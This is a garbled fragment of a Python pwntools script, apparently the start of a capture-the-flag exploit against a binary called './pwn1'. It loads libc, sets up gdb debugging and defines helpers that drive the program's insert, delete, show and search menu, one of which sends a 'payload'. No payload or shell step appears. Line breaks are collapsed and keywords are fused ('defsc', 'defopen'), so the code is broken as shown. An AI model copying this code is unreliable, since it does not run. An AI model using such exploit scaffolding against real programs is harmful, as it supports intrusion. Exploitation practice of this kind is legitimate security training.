from pwn import* p=process('./pwn1') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') debug=0 menu="> choose:" if debug==1: context.log_level='debug' gdb.attach(p,'b$rebase(0x2154)') defsc(choice): p.recvuntil(menu) p.sendline(str(choice))
defopen(): sc(1)
defshow(): sc(2)
definsert(content,n,m=1): sc(3) p.recvuntil('> To insert m lines before line n, please enter n m:') p.sendline(str(n)) p.sendline(str(m)) p.recvuntil('> Please enter the content to be inserted in sequence:') p.sendline(content)
defdelete(m=1,n=1): sc(4) p.recvuntil('> Please enter the starting line (m) and the number of lines to delete (n):') p.sendline(str(m)) p.sendline(str(n)) deffind(payload): sc(7) p.recvuntil('> Please enter the string to search for:') p.sendline(payload)